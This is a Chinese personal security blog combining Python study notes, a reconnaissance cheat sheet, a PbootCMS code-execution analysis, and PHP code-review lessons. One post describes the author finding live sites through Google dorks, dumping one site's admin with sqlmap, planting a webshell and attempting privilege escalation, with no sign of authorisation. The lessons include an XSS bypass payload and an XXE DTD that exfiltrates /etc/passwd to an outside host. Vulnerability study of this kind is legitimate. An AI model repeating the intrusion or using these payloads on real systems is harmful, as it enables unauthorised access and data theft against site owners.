JrD's blog


  • 首页

  • 归档

Python学习

发表于 2018-11-10 | 阅读次数:

计划

  1. 固定学习管道,mooc教程,练习python100例,Python核心编程第二版,廖雪峰python教程。
  2. 熟练python特性,包括变量,条件,循环,数据类型,高阶函数(函数式编程),装饰器,函数式编程,面向对象编程。
  3. 掌握二分、快排算法以及正则表达式。
  4. 掌握python常用的标准库、第三方库及常用函数。

    1
    2
    3
    import sys,os,re,random,base64,md5,urllib,requests,socket,beautifulsoup,...

    map(),reduce(),filter(),lambda,pprint(),...
  5. 多写爬虫,POC,sqlmaptamper,Bruteforce之类的脚本来熟练运用。

  6. 看项目写项目 #TODO

学习管道

https://www.imooc.com/learn/317 慕课python进阶,可以动手的教程

http://www.runoob.com/python/python-100-examples.html python100例

https://wizardforcel.gitbooks.io/core-python-2e/content/ Python 核心编程 第二版

https://www.liaoxuefeng.com/wiki/0014316089557264a6b348958f449949df42a6d3a2e542c000 廖雪峰python3教程(比较深 偏向开发)

http://www.runoob.com/python 菜鸟教程

查询管道

help()函数 #查看帮助

https://docs.python.org/3/ #官方文档

http://www.pythondoc.com/pythontutorial3/index.html #中文文档

其他的就是多google了

变量特点

大小写敏感,强类型,不需要声明即可使用(赋值时加上小数点即可变为浮点型,)

1
2
3
10/4 = 2

10.0/4 = 2.5

数据类型

list(列表)

用[]来声明,特点是有序、动态(同一list中可以包含str,int,float,bool多种数据形式)
foo = ['foo',100,Ture]

tuple(元组)
用()来声明,与list的唯一区别是创建后不可修改。
注意:由于()也是规定的优先运算符号,所以创建单元素tuple时需要使用("foo",)多加一个,。

1
2
3
#列表生成式一例
print [a*100+b*10+a for a in range(1,10) for b in range(0,10) ]
#生成121,222,232诸如此类3位对称数的列表

dictionaries(字典)
用{}来声明,如字典其名,是key与value一一映射的数据类型。
特点是

  1. 按key查找查找速度快,但占用内存大,与list正好相反。
  2. 无序

    1
    2
    3
    4
    5
    6
    7
    d = {
    'Adam': 95,
    'Lisa': 85,
    'Bart': 59
    }
    print(d)
    #{'Lisa': 85, 'Adam': 95, 'Bart': 59}
  3. key必须是不可变的数据类型,即不能是list。

1
2
3
4
5
6
d = {
['a', 'b']: True
}
print(d)

#TypeError: unhashable type: 'list'
  1. set(组、集合)
    基本就是只有key没有value的dict,判断元素是否在set中,使用in操作符。
    1
    2
    3
    4
    5
    6
    7
    8
    s = set(['Adam', 'Lisa', 'Paul'])
    L = ['Adam', 'Lisa', 'Bart', 'Paul']
    for name in L:
    if name in s:
    s.remove(name)
    else:
    s.add(name)
    print s

条件判断和循环

注意!判断语句后必须要有:,并且需要特别注意缩进!

if-elif-else的多条件判断。

for-in的迭代遍历循环,可用于多重循环。

1
2
3
4
5
6
#记得提前声明的变量才可以+=
L = range(1,101)
sum = 0
for i in L:
sum += i*i
print sum

while-continue-break条件判断循环,利用break判断结束循环,continue判断跳过这次循环进行下一次循环。

1
2
3
4
5
6
7
8
9
10
sum = 0
x = 0
while True:
x = x + 1
if x > 100:
break
if x%2 == 0:
continue
sum += x
print sum

切片

对有序的数据类型(list,tuple)可以进行切片(slipe)操作:

1
2
3
4
5
6
7
8
9
10
11
12
# 以下是pyhon2环境下的结果,因为py2中range()代表了一个List,py3中要使用list(range())才是一个List。
L = range(1, 101)
# 前10个数;
# 3的倍数;
# 不大于50的5的倍数。
# 最后10个数;
# 最后10个5的倍数。
print L[:10] #等同于L[0:10]
print L[2::3]
print L[4:50:5]
print L[-10:]
print L[-46::5]

对字符串的切片:

1
2
3
4
5
6
7
8
9
10
# 利用切片操作完成仅首字母变成大写的自定义函数
def firstCharUpper(s):
return s[:1].upper()+s[1:]

print firstCharUpper('hello')
print firstCharUpper('sunday')
print firstCharUpper('september')
#Hello
#Sunday
#September

函数

函数特性

  1. python中自定义函数对全局变量的引用比较特殊。

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    sum = 0
    def square_of_sum(L):
    for i in L:
    sum += i*i
    return sum
    print square_of_sum([1, 2, 3, 4, 5])
    # UnboundLocalError: local variable 'sum' referenced before assignment (报错:本地变量sum在赋值之前被引用了
    # 说明在def定义函数之前所进行赋值的sum其实没有被引用在def中
    # 不推荐使用全局变量,如若真的要使用全局变量可参考下例示范
    sum = 0
    def square_of_sum(L):
    for i in L:
    global sum
    sum += i*i
    return sum
    print square_of_sum([1, 2, 3, 4, 5])
  2. 在python函数的结果中返回多个值的时候其实就是返回了一个tuple元组。

  3. 递归函数:在函数内部,可以调用其他函数。如果一个函数在内部调用自身本身,这个函数就是递归函数。

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    以经典的汉诺塔问题为例
    # move(n, a, b, c)表示的是有n个盘子在a柱子上,将要移到b柱子上面去
    def move(n, a, b, c):
    # 如果a柱子上面只有一个盘子,则直接移到c柱子上面去并输出路径,结束递归
    if n == 1:
    print a, '-->', c
    return
    # 表示的是将n-1的盘子从a柱子上面移到b柱子上面去
    move(n-1, a, c, b)
    # 输出最下面个盘子移从a移到c的路径
    print a, '-->', c
    # 将b柱子上面的n-1个盘子移动到c柱子上面
    move(n-1, b, a, c)

    move(4, 'A', 'B', 'C')
  4. 默认参数只能定义在必需参数的后面:

    OK:
    1
    2
    3
    4
    5
    def fn1(a, b=1, c=2):
    pass
    # Error:
    def fn2(a=1, b):
    pass

常用函数

map()

高阶函数:map()将列表中的变量遍历并且一一传入第一个参数的函数中进行处理:

1
2
3
4
5
6
求每个数的平方
def f(x):
return x*x
print map(f, [1, 2, 3, 4, 5, 6, 7, 8, 9])
#[1, 4, 9, 16, 25, 36, 49, 64, 81]
#注意:map()函数不改变原有的 list,而是返回一个新的 list。

reduce()

高阶函数:相当于传两个参数的map()

1
2
3
4
5
#求乘积
def prod(x, y):
return x*y
print reduce(prod, [2, 4, 5, 7, 12])
#3360

filter()

高阶函数:filter(),经常用于过滤作用,函数返回的bool为true则保留,为false则丢弃

1
2
3
4
5
6
7
8
#只取1到100中能二次开根结果为整数的值
import math

def is_sqr(x):
return math.sqrt(x)%1==0

print filter(is_sqr, range(1, 101))
#[1, 4, 9, 16, 25, 36, 49, 64, 81, 100]

匿名函数 lambda

1
2
3
4
5
6
7
#简化代码,可以不用专门去定义一些简单的自定义函数
def is_not_empty(s):
return s and len(s.strip()) > 0

print filter(is_not_empty, ['test', None, '', 'str', ' ', 'END'])
#以下代码作用相同
print filter(lambda s:s and len(s.strip())>0, ['test', None, '', 'str', ' ', 'END'])

返回函数

Python的函数不但可以返回int、str、list、dict等数据类型,还可以返回函数!
由于可以返回函数,我们在后续代码里就可以决定到底要不要调用该函数。

1
2
3
4
5
6
7
8
def calc_prod(lst):
def lazy_prod():
def f(x, y):
return x * y
return reduce(f, lst)
return lazy_prod
f = calc_prod([1, 2, 3, 4])
print f() #适当的延迟调用 可以优化程序运行

###闭包

https://www.imooc.com/code/6059 大致就是返回函数不要引用任何循环变量,或者后续会发生变化的变量。

1
2
3
4
5
6
7
8
9
10
def count():
fs = []
for i in range(1, 4):
def f(j=i):
return j*j
fs.append(f)
return fs

f1, f2, f3 = count()
print f1(), f2(), f3()

cmp()

比较函数,如果x,y是字符串则比较ASCII码的大小
cmp(…)
cmp(x, y) -> integer

Return -1 if x<y, 0 if x==y, 1 if x>y.

sorted()

依从小到大(如果其中有字符串则比较ASCII码)来对list进行排序的函数,也可以作为高阶函数使用,如下例子

1
2
3
4
5
6
7
8
# 对字符串排序时,有时候忽略大小写排序更符合习惯。请利用sorted()高阶函数,实现忽略大小写排序的算法。

# 输入:['bob', 'about', 'Zoo', 'Credit']
# 输出:['about', 'bob', 'Credit', 'Zoo']
def cmp_ignore_case(s1, s2):
return cmp(s1.lower(), s2.lower()) #返回1则将s1往后排

print sorted(['bob', 'about', 'Zoo', 'Credit'], cmp_ignore_case)

enumerate()

enumerate() 函数可以为list建立索引:

1
2
3
4
5
6
7
8
9
10
11
12
#['Adam', 'Lisa', 'Bart', 'Paul']
#经过enumerate()变成了类似:
#[(0, 'Adam'), (1, 'Lisa'), (2, 'Bart'), (3, 'Paul')]

L = ['Adam', 'Lisa', 'Bart', 'Paul']
for index, name in enumerate(L):
print index, '-', name
...
0 - Adam
1 - Lisa
2 - Bart
3 - Paul

values()方法

dict 对象有一个 values() 方法,这个方法把dict转换成一个包含所有value的list,这样,我们迭代的就是 dict的每一个 value:

1
2
3
4
5
6
7
8
d = { 'Adam': 95, 'Lisa': 85, 'Bart': 59 }
print d.values()
# [85, 95, 59]
for v in d.values():
print v
# 85
# 95
# 59

渗透测试备忘之信息收集

发表于 2018-09-28 | 阅读次数:

渗透测试备忘之信息收集

整理收集一下渗透测试中信息收集的各种方式方法。

个人把信息手机简单分类为域名相关、IP相关、敏感信息泄露相关三大类,但其实信息收集是一个错综复杂的过程,并不能真正的做分类,仅是为了便于文章书写整理,也不应该局限思维,很多方式方法都可以自由组合使用。

其实社工应当也是很大的一类,但本文不过多讨论社工。

IP相关

绕过CDN获取真实IP

现在大部分大站都使用CDN来快速响应大量用户的请求,在渗透大型网站过程中,拿到真实IP也是必须的,所以先来讨论一下获取真实IP的姿势。

判断是否开启CDN

http://ping.chinaz.com/ 站长之家
https://ping.aizhan.com/ 爱站网
利用一些各地服务器ping同名域名,看各地解析IP是否一致即可判断是否开启CDN

http://ipwhois.cnnic.net.cn/ 使用网信中心可以通过IP查到CNNIC及中国大陆的IP地址分配信息,可以确认公司的IP段,并且可以通过公司信息反查IP。

利用国外冷门DNS或子域名

很多网站为了节省资源使用并不会给国外的冷门DNS或者一些多级子域名做CDN,所以在这两方面可能可以直接获取真实IP。

大部分国内网站的CDN都是对内使用的,如果使用国外冷门DNS服务器解析可能可以直接解析到真实IP,下附命令及国外一些DNS服务器:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
nslookup http://foo.com 8.8.8.8

/*
Google Public DNS:8.8.8.8、8.8.4.4

Norton DNS:198.153.192.1、198.153.194.1

OpenDNS:208.67.222.222、208.67.220.220

OpenDNS Family:208.67.222.123、208.67.220.123

Comodo Secure DNS:156.154.70.22、156.156.71.22

ScrubIt DNS:67.138.54.100、207.225.209.66

DNS Advantage:156.154.70.1、156.154.71.1
*/

RSS订阅、邮件订阅等

很多网站提供了RSS或者邮件订阅等服务,服务器向我们发送RSS或者邮件的时候就可以获取到真实的IP,或者同一网段的IP。

利用网络空间搜索器

https://fofa.so/ fofa比zoomeye和shodan好的地方就是可以搜索title语法,利用网站title信息来进行查询,成功率很高。

域名解析历史记录查询

https://www.virustotal.com/#/domain/foo.com

https://toolbar.netcraft.com/site_report?url=foo.com

https://x.threatbook.cn/ 微步也可以查到但是部分需要付费

有些网站在使用CDN之前的IP解析也会被历史解析记录到可以试试。

网站自身漏洞泄露

像探针页面、phpinfo页面、或者利用诸如ssrf等漏洞远程访问自己的服务器。

C段扫描

C段扫描即因为通常情况下机房给予企业的外网IP都是在同一C段下连续的IP,所以可以对IP进行C段扫描看看是否有该目标的其他可突破IP。

可以利用各种搜索引擎(IP为举例):
google的site:192.168.1.*
shodan的net:192.168.1.0/24
zoomeyed的cidr:192.168.1.0/24

也可以利用一些在线服务:
https://www.5kik.com/c/
http://www.webscan.cc/

或者一些工具:
http://www.91ri.org/7915.html
http://www.7kb.org/817.html

利用Nmap的(比较耗时且使用的是ping方式)
namp -sP ip/24 -oN c:\ip.txt
扫描网站服务器c段,并且生成报告

还有很多别的方式这里只是简单举例

获得IP之后的端口扫描

中小型企业直接用神器nmap扫描就好,这里主要介绍一下对大型企业大量IP的端口扫描方案:
masscan+nmap,利用masscan号称6分钟扫遍全网端口的效率来简单扫描开放的端口,然后利用nmap再进行识别端口的详细扫描。
相应的命令为masscan XX.XXX.XX.XXX -p1-65535 --rate 1000和-sV -Pn --version-all -v -T4其中-sV是端口识别;-Pn是跳过发现IP端口的过程,因为这个过程在之前由masscan完成了;–version-all是提高端口识别的准确度,保证对每个端口尝试每个探测报文;-v是使用细节模式提高详细度,可以输出扫描过程的更多信息;-T4,如果用于有足够的带宽或以太网连接,建议使用-T4选项,相对默认扫描能更快。
接下来就是对端口扫描出来的结果分析利用了。

域名相关

whois

https://whois.icann.org/en

https://www.whois.net/ whois.net

https://x.threatbook.cn/ 微步威胁情报查询

http://whois.chinaz.com/ 站长之家

可查询到注册人姓名、邮箱、注册地、电话、DNS服务器、注册公司信息等

利用姿势:

  1. 对注册人姓名、邮箱、电话进行反查旁站及域名和IP的历史信息
  2. 对注册信息进行社工
  3. 针对以上信息制作弱口令 猜密码用于猜解密码

网站备案号

http://icp.chinaz.com/ 站长之家

http://www.miibeian.gov.cn/publish/query/indexFirst.action 工信部备案查询

利用姿势:大中型企业的网络资产中,肯定远不止一个主域名,利用备案反查可以发现同一备案号下很多隐藏的域名。

SSL证书查询

https://censys.io/

https://crt.sh/

https://myssl.com/

https://www.chinassl.net/ssltools/ssl-checker.html

利用姿势:一样是利用反查来查询隐藏的主域名。

子域名、目录挖掘

子域名枚举备忘录

爬虫式扫描

使用爬虫逐级遍历目录例如awvs的目录扫描以及burp的spider等工具

字典扫描

字典扫描的重点还是在于字典

目录扫描工具:
https://github.com/Strikersb/webdirscan 王松写的目录扫描器
御剑

子域名扫描工具
https://github.com/lijiejie/subDomainsBrute 高并发的DNS暴力枚举 优势在于速度快
https://www.waitalone.cn/seay-layer-42.html Layer子域名挖掘机 优势在于可以探测端口、服务器信息、服务器状态
https://phpinfo.me/domain/ 某大佬的在线子域名爆破|Domain fuzz

利用搜索引擎:

常用google、bing,扫子域名的常用语法 site:,其中bing提供了API,很多子域名扫描机也是基于bing的API实现的,详情请见:bing-web-search-api

旁站查询

旁站即同一IP下服务器搭载的不同web应用,一般的旁站查询工具都是使用bing的API,其实直接用google,bing使用ip:语法查询也可,这里分享几个在线查询站。
http://www.webscan.cc/
http://s.tool.chinaz.com/same

WEB应用及容器识别

非常第一网站是修改过的wordpress可以使用wpscan或者尝试/wp-admin /wp-content /readme.html等目录

一般是从HTTP头部、Banner、网站目录、使用的js文件等暴露出来的信息来进行识别

https://builtwith.com/ 找出网站是用什么创建的

http://www.yunsee.cn/ 云悉 适合国内各种CMS识别

https://www.wappalyzer.com/ 有浏览器插件版本

https://www.zoomeye.org/ 钟馗之眼偏向WEB应用

https://www.shodan.io/ 撒旦之眼偏向网络设备(路由、摄像头等)和服务器

这两个搜索引擎在针对性渗透测试中常用的语法
site:,hostname:,CIDR:(指定网段),port:,keyword:,ip:

然后可以搜索cve、expdb、乌云镜像等之类的vuldb网站来查询是否有历史遗留的版本漏洞

敏感信息泄露

现在越来越多安全问题突破口是通过“人”的方式了,敏感信息泄露就是其中很大的一部分,最近很热门的就是华住的程序员把SQL带明文密码的config文件暴露在github导致了几亿数据的泄露。还有的敏感目录扫描会暴露管理后台、使用的CMS或editor等信息,从而找到exp进行突破。

google hacking

google在安全方面的利用方式已经自成一派,详情可见:
https://www.exploit-db.com/google-hacking-database/

这里只说一下有关敏感信息的常见姿势

敏感文件(.mdb,.excel,.word,.zip,.rar),查看是否存在源代码泄露。常见有.git文件泄露,.svn文件泄露,.DB_store文件泄露,WEB-INF/web.xml泄露。

#举例几个常见的语法

#git文件泄露
inurl:"/.git/head"        # https://github.com/lijiejie/GitHack git泄露的利用
#敏感文件泄露
filetype:sql intitle:"index of"
filetype:mdb intitle:"index of"
intitle:"index of" etc
inurl:service.pwd
site:xxx.com filetype:xls,conf intext:pass
#管理后台
site:xxx.com 管理/后台/admin/login

googlehack也是一个可以很灵活运用的方式,比如当你收集到网站应用目录或者参数的大致命名规律或者指纹信息,就可以用googlehack利用起来试试。

另外推荐一个https://github.com/laramies/theHarvester 利用搜索引擎社工神器

JS文件敏感信息泄露

参考:http://wooyun.jozxing.cc/static/drops/web-6710.html
大致分为三类:

  1. 泄露后台管理敏感路径或API(参数)
  2. 泄露http-only保护的cookie
  3. 泄露用户敏感信息

github信息泄露

一个github敏感信息挖掘机供参考:
https://github.com/UnkL4b/GitMiner GitMiner

github敏感信息的搜寻方式大致思路就是利用域名,员工,IP等方式搜索相关源码或配置文件。

PbootCMS v1.1.4 Remote Code Execute Vulnerability

发表于 2018-09-08 | 阅读次数:

分析

漏洞出现在apps\home\controller\ParserController.php的parserIfLabel函数,漏洞有关的代码在1835到1848行,其中1848行出现了eval函数。

这段函数采用了两次正则匹配的过滤方式,第一次正则需要构造形如{pboot:if(payload)}{/pboot:if}这样的字符串。

第二次正则需要payload中不能出现字母+()这样形式的函数,直接使用形如phpinfo(1)的payload即可。

然后回溯函数可以看到parserIfLabel函数被parserCommom函数所引用,继续回溯可发现该函数出现在如图位置,其中可利用的位置非常多,前台的搜索、留言,后台的各项信息修改等位置都可以传参执行。

以下以留言板举例:


构造这样的留言表单提交,即可成功执行代码。

因其余位置任意代码执行利用同理,此处不再赘述。

修复


系统的高版本对此漏洞进行了修复,增加了安全校验过滤。

一次渗透纪实分享

发表于 2018-08-24 | 阅读次数:

记一次从代码审计到webshell到提权尝试的完整渗透过程

代码审计

noname
如图这次审计做的是某发卡cms,整体就是一个用户购买卡并提取卡密的平台。
目录
如图,结构比较简单。

其中config.php为mysql配置文件,其中会有mysql配置信息,下文会再提到。

readme
从readme里面可以看到,此CMS在18年4月还进行了更新。但此CMS安全水平非常差,可以说是漏洞百出。下面进行分析

sql漏洞

进入getkm.php,这是一个提取卡密的页面,提供了查询卡密的接口。部分sql关键代码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
	<?php }elseif ($_GET['act'] == "query") { 
/**/
if(!empty($_POST['tqm'])){
$tqm = $_POST['tqm'];
$sql = "select * from ayangw_km
where out_trade_no ='{$tqm}' or trade_no = '{$tqm}' or rel = '{$tqm}'
ORDER BY endTime desc
limit 1";

$res = $DB->query($sql);
if($row = $DB->fetch($res)){
$sql2 = "select * from ayangw_goods where id =".$row['gid'];
$res2 = $DB->query($sql2);
$row2 =$DB->fetch($res2);
}else{
exit("<script>alert('无此条记录!');window.location.href='getkm.php'</script>");

}
}
?>

可以看到典型的sql直接拼接造成的sql漏洞,$tqm参数直接传入用户输入也未做过滤。我回溯了$DB函数,也未发现安全过滤措施,所以sqlmap直接可以撸下来。

noname

其他地方的sql查询也差不多,漏洞百出,就此跳过sql注入。

后台上传漏洞

来到后台在set.php,上传logo的代码部分如下:

1
2
3
4
5
6
7
8
9
10
11
if($_GET['mod']=='upimg'){
echo '<div class="panel panel-primary"><div class="panel-heading"><h3 class="panel-title">更改首页LOGO</h3> </div><div class="panel-body">';
if($_POST['s']==1){
$extension=explode('.',$_FILES['file']['name']);
if (($length = count($extension)) > 1) {
$ext = strtolower($extension[$length - 1]);
}
if($ext=='png'||$ext=='gif'||$ext=='jpg'||$ext=='jpeg'||$ext=='bmp')$ext='png';
copy($_FILES['file']['tmp_name'], ROOT.'/assets/imgs/logo.'.$ext);
echo "成功上传文件!<br>(可能需要清空浏览器缓存才能看到效果)";
}

可以看到作者的思路就是分割开文件名跟文件后缀,然后对后缀进行小写处理,再进行对比,如果是作者白名单里的图片格式就统一改成png格式。

但是让人哭笑不得的是作者只写了白名单的处理,if之后居然没写else。。。而且白名单的比较也是弱类型的比较,并且没有对截断符号等进行过滤。

简化了一下写了一个demo示意了一下上传过程,可以看到我们的上传的文件将会直接变成/assets/imgs/logo.php
noname

所以我们可以这样上传拿到webshell。

webshell

googlehack了一下,用这个卡密CMS的网站还不少。

noname

顺便一说,在git也发现了跟这个发卡系统非常象的一个CMS,大概上区别不大,也不知道是谁抄谁的。

随便找了一个想拿个webshell试试,基本就是按照审计发现的思路,sqlmap爆了admin然后进后台传webshell。

noname

尝试提权失败,记一下思路

从phpinfo中可以看到系统为windows NT CLOUD 5.2 2003,php版本为5.2,此版本暂时不知道如何绕过disablefunction。
noname
noname
可以看到只有D盘的读写权限,php命令执行权限也全部禁掉了,放弃利用php提权。

nmap扫一下看看
noname

可以看到有3306的mysql端口,尝试连接有IP限制。999端口则是phpmyadmin,之前在上文提到的config.php配置文件中可以get到数据库的root,于是进去phpmyadmin,尝试UDF,MOF提权,均无果。

noname

有大佬提醒了一下IIS可以试试asp,aspx是否可以提权,测试aspx无法执行,但asp可以。上传asp测试后,组件也都不可用。。。提权无果
noname

新手一枚请多担待!

php code review

发表于 2018-08-06 | 阅读次数:

PHP代码审计学习


项目来源:https://www.ripstech.com/php-security-calendar-2017/

in_array()函数误用

分析

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
class Challenge {
const UPLOAD_DIRECTORY = './solutions/';
private $file;
private $whitelist;

public function __construct($file) {
$this->file = $file;
$this->whitelist = range(1, 24);
}

public function __destruct() {
if (in_array($this->file['name'], $this->whitelist)) {
move_uploaded_file(
$this->file['tmp_name'],
self::UPLOAD_DIRECTORY . $this->file['name']
);
}
}
}

$challenge = new Challenge($_FILES['solution']);

出现问题的源代码如上,使用in_array()函数检查匹配file['name']是否在whitelist中,但忽略了in_array()函数中未设置强匹配参数,导致了弱类型问题。

phpmanual中对in_array的参数解释如下

1
2
3
4
5
6
bool in_array ( mixed $needle , array $haystack [, bool $strict = FALSE ] )

//大海捞针,在大海(haystack)中搜索针( needle),如果没有设置 strict 则使用宽松的比较。

//strict
如果第三个参数 strict 的值为 TRUE 则 in_array() 函数还会检查 needle 的类型是否和 haystack 中的相同。

利用

其实就是php弱类型的利用,程序员编写时由于不严谨认为输入一定会是int整型数据,我们输入str字符型数据然后利用php的弱类型特点即可。

弱类型的规律举例如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
<?php

$array = array(
'egg' => true,
'cheese' => false,
'hair' => 765,
'goblins' => null,
'ogres' => 'no ogres allowed in this array'
);

// Loose checking -- return values are in comments

// First three make sense, last four do not

var_dump(in_array(null, $array)); // true
var_dump(in_array(false, $array)); // true
var_dump(in_array(765, $array)); // true
var_dump(in_array(763, $array)); // true
var_dump(in_array('egg', $array)); // true
var_dump(in_array('hhh', $array)); // true
var_dump(in_array(array(), $array)); // true

// Strict checking
var_dump(in_array(null, $array, true)); // true
var_dump(in_array(false, $array, true)); // true
var_dump(in_array(765, $array, true)); // true
var_dump(in_array(763, $array, true)); // false
var_dump(in_array('egg', $array, true)); // false
var_dump(in_array('hhh', $array, true)); // false
var_dump(in_array(array(), $array, true)); // false

?>

修复

使用===强匹配或in_array()函数加上第三个参数$strict=ture


一个XSS过滤绕过trick

分析

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
// composer require "twig/twig"
require 'vendor/autoload.php';

class Template {
private $twig;

public function __construct() {
$indexTemplate = '<img ' .
'src="https://loremflickr.com/320/240">' .
'<a href="{{link|escape}}">Next slide »</a>';

// Default twig setup, simulate loading
// index.html file from disk
$loader = new Twig\Loader\ArrayLoader([
'index.html' => $indexTemplate
]);
$this->twig = new Twig\Environment($loader);
}

public function getNexSlideUrl() {
$nextSlide = $_GET['nextSlide'];
return filter_var($nextSlide, FILTER_VALIDATE_URL);
}

public function render() {
echo $this->twig->render(
'index.html',
['link' => $this->getNexSlideUrl()]
);
}
}

(new Template())->render();

以php的一个模版引擎twig为例,对url进行XSS安全过滤,其中escape和FILTER_VALIDATE_URL进行了两次过滤转换。

第一次在第10行,escape过滤,使用的是php自带的htmlspecialchars函数

htmlspecialchars
(PHP 4, PHP 5, PHP 7)
htmlspecialchars — 将特殊字符转换为 HTML 实体

(& 符号)
1
2
3
4
" (双引号)  ===============  &quot;
' (单引号) =============== &apos;
< (小于号) =============== &lt;
> (大于号) =============== &gt;

第二次过滤在22行,使用filter_var函数用FILTER_VALIDATE_URL过滤器对$nextSlide变量进行过滤。检查是否是合法的url。

利用

可以看到代码对XSS常用的”‘<>符号进行了过滤,但我们可以利用%0a换行符的trick来逃逸过滤,可以通过以下payload执行,首先引入javascript:协议,然后利用javascript中//代表单行注释,而%250a经过一次urldecode变成%0a换行符,成功逃逸出注释行,从而进入echo函数中形成XSS。
?nextSlide=javascript://comment%250aalert(1)

稍微总结一下常规bypass思路,试敏感关键函数和敏感符号→试编码或注释符号等混淆方法→试伪协议。

修复

针对XSS敏感关键词进行黑名单过滤


class_exists函数和实例化可控导致的XXE漏洞

分析

代码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
function __autoload($className) {
include $className;
}

$controllerName = $_GET['c'];
$data = $_GET['d'];

if (class_exists($controllerName)) {
$controller = new $controllerName($data['t'], $data['v']);
$controller->render();
} else {
echo 'There is no page with this name';
}

class HomeController {
private $template;
private $variables;

public function __construct($template, $variables) {
$this->template = $template;
$this->variables = $variables;
}

public function render() {
if ($this->variables['new']) {
echo 'controller rendering new response';
} else {
echo 'controller rendering old response';
}
}
}

这段代码中有两个安全漏洞。第8行中调用class_exists()会触发文件包含漏洞。
PHP文档中对于class_exist函数的解释如下

class_exists

(PHP 4, PHP 5, PHP 7)

class_exists — 检查类是否已定义

说明

bool class_exists ( string $class_name [, bool $autoload = true ] )检查指定的类是否已定义。

参数

class_name

类名。名字的匹配是不分区大小写的。

autoload

是否默认调用 __autoload。

可知class_exist函数默认调用__autoload函数,其中调用了include函数,会造成文件包含漏洞。可以使用路径穿越来包含任意文件,但是使用像这样的../../../../etc/passwd路径穿越符号的前提是PHP版本在5~5.3(包含5.3)版本之间才可以。
但是第二个漏洞仍然适用于当前的PHP版本。在以下几行:

1
2
3
4
5
6
$controllerName = $_GET['c']; //这里$controllerName可控
$data = $_GET['d']; //这里$data可控

if (class_exists($controllerName)) {
$controller = new $controllerName($data['t'], $data['v']);
//这里使用可控的变量实例化了一个对象,而对象的名称及内容均可控。

这样的话,恶意的payload便可以控制实例化过程,任意构造函数,即使代码库本身没有易受攻击的函数。也可以使用PHP内置的SimpleXMLElement函数来进行XXE攻击,进行文件读取操作等行为。

利用

1.文件包含漏洞
令class_exist函数传入形如../../../../etc/passwd的payload即可;

2.实例化SimpleXMLElement进行XXE攻击,查看php手册,SimpleXMLElement构造函数说明如下:

SimpleXMLElement::__construct

(PHP 5, PHP 7)

SimpleXMLElement::__construct — Creates a new SimpleXMLElement object

说明
final public SimpleXMLElement::__construct ( string $data [, int $options = 0 [, bool $data_is_url = FALSE [, string $ns = “” [, bool $is_prefix = FALSE ]]]] )

创建一个新的SimpleXMLElement对象。

参数

data

格式良好的XML字符串或XML文档的路径或URL(如果 data_is_url是)TRUE。

options
可选地用于指定其他Libxml参数。

注意:
可能需要传递LIBXML_PARSEHUGE 以能够处理深度嵌套的XML或非常大的文本节点。

data_is_url

默认情况下data_is_url是FALSE。使用TRUE指定data的路径或URL到一个XML文件,而不是字符串数据。

ns
命名空间前缀或URI。
is_prefix
TRUE如果ns是前缀,FALSE如果是URI; 默认为FALSE。

所以构造形如{"SimpleXMLElement":{"data":"http://localhost/xxe.xml","options":2,"data_is_url":1,"ns":"","is_prefix":0}}其中SimpleXMLElement为实例化函数名,后续payload为SimpleXMLElement构造函数的内容,xxe.xml为XML实体文件。XML实体文件写法可以参考XXE漏洞分析 from 404 Not Found这里就不多做探讨。

举一个例子:

1
2
3
4
5
6
7
8
<?xml version="1.0" ?>
<!DOCTYPE r [
<!ELEMENT r ANY >
<!ENTITY % sp SYSTEM "http://1.3.3.7:8000/xxe.dtd">
%sp;
%param1;
]>
<r>&exfil;</r>

1
2
<!ENTITY % data SYSTEM "php://filter/convert.base64-encode/resource=/etc/passwd">      //这里使用base64编码是起读取文件时不丢失一些特殊符号的作用
<!ENTITY % param1 "<!ENTITY exfil SYSTEM 'http://1.3.3.7:8000/?%data;'>">

修复

1.将class_exist函数中的bool $autoload参数设为false,即不自动调用__autoload函数;或者__autoload函数中不要使用include函数;或升级PHP版本避免路径遍历符号的传递。

2.PHP中防御XXE攻击方法:设置libxml_disable_entity_loader(true);;当然最大的问题还是不应该让实例化对象变成用户输入可控。


strpo()函数误用

源码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
class Login {
public function __construct($user, $pass) {
$this->loginViaXml($user, $pass);
}

public function loginViaXml($user, $pass) {
if (
(!strpos($user, '<') || !strpos($user, '>')) &&
(!strpos($pass, '<') || !strpos($pass, '>'))
) {
$format = '<?xml version="1.0"?>' .
'<user v="%s"/><pass v="%s"/>';
$xml = sprintf($format, $user, $pass);
$xmlElement = new SimpleXMLElement($xml);
// Perform the actual login.
$this->login($xmlElement);
}
}
}

new Login($_POST['username'], $_POST['password']);

分析

可以看到此段代码的第8,9行使用strpo()函数检查payload中是否有<`>符号,以检查XML利用的敏感符号。检查后传入第11、12行的$format变量中,然后格式化生成XML。strpos()`函数文档如下:

strpos

(PHP 4, PHP 5, PHP 7)

strpos — 查找字符串首次出现的位置

说明
int strpos ( string $haystack , mixed $needle [, int $offset = 0 ] )
返回 needle 在 haystack 中首次出现的数字位置。

参数
haystack
在该字符串中进行查找。

needle
如果 needle 不是一个字符串,那么它将被转换为整型并被视为字符的顺序值。

offset
如果提供了此参数,搜索会从字符串该字符数的起始位置开始统计。 如果是负数,搜索会从字符串结尾指定字符数开始。

返回值
返回 needle 存在于 haystack 字符串起始的位置(独立于 offset)。同时注意字符串位置是从0开始,而不是从1开始的。

如果没找到 needle,将返回 FALSE。

Warning
此函数可能返回布尔值 FALSE,但也可能返回等同于 FALSE 的非布尔值。请阅读 布尔类型章节以获取更多信息。应使用 === 运算符来测试此函数的返回值。

这里Warning中已经提示了strpos()可能返回等同于FALSE的非布尔值,即在首位查询到了条件并返回了值为0,又因为PHP的弱类型特性,若没有使用===的强匹配,0就会等于false。

利用

